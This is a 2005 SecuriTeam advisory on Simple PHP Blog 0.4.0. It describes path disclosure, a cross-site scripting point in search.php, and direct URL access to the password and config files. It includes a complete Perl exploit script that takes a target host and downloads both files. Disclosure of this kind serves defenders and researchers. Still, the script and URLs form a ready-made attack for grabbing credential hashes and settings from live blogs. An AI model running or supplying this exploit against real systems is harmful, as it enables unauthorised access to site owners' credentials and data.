[UNIX] SPHPBlog Multiple Vulnerabilities (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  SPHPBlog Multiple Vulnerabilities (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://sourceforge.net/projects/sphpblog/> Simple PHP Blog(SPHPBlog) is 
a dead-simple blog. It do not require a database, used flat text files and 
simple to install. The main advantage of using Simple PHP Blog is that it 
only requires PHP 4 (or greater) and write permission on the server. 
Unlike other blog software, there is almost no setup."

Information disclosure, cross site scripting and path disclosure 
vulnerabilities were discovered in SPHPBlog.

DETAILS

Vulnerable Systems:
 * Simple PHP blog version 0.4.0

Path Disclosure:
The following URL will disclose the path under which the blog has been 
installed:
http://host/sphpblog/scripts/sb_functions.php

Cross Site Scripting in search.php:
The following URL will cause the cross site scripting vulnerability to 
trigger:
http://host/sphpblog/search.php?q=[XSS]

Information Disclosure:
The password and configuration files can be retrieved directly using the 
following URLs (the password file are protected using PHP`s crypt() 
function):
http://host/sphpblog/config/password.txt
http://host/sphpblog/config/config.txt

Exploit:
#!/usr/bin/perl -w

# Remote grabbing  sphpblog password & config file by y3dips
# Bug find by y3dips <http:// y3dips echo or id>
# Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt

print "\n* Remote grabbing  sphpblog password & config file by y3dips  
*\n";
require LWP::UserAgent;

if(@ARGV == 1)
        {

$target= $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

my @url = ("http://$target/config/password.txt";, " 
http://$target/config/config.txt";);

foreach my $urlz (@url) {
            my $injek = $ua->get($urlz);
            print "\n-------------------------------\n";
            if ($injek->is_success)
                 {   print $injek->content;}
            else
                 {die $injek->status_line;}
            print "\n-------------------------------\n";

}
}
else {
print "Use: perl $0 [www.target.com] \n";
}

# EOF y3dips(c)2005
# greetz :
# @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32 
anonymous /;
# @waraxe.us  = qw/ waraxe LINUX shai-tan all_guys /;
# @echo = qw/ newbie_hacker@yahoogroups.com  #e-c-h-o_@_DALnet /;


ADDITIONAL INFORMATION

The information has been provided by  <mailto:y3dips@echo.or.id> echo 
staff.
The original article can be found at:  
<http://echo.or.id/adv/adv012-y3dips-2005.txt> 
http://echo.or.id/adv/adv012-y3dips-2005.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.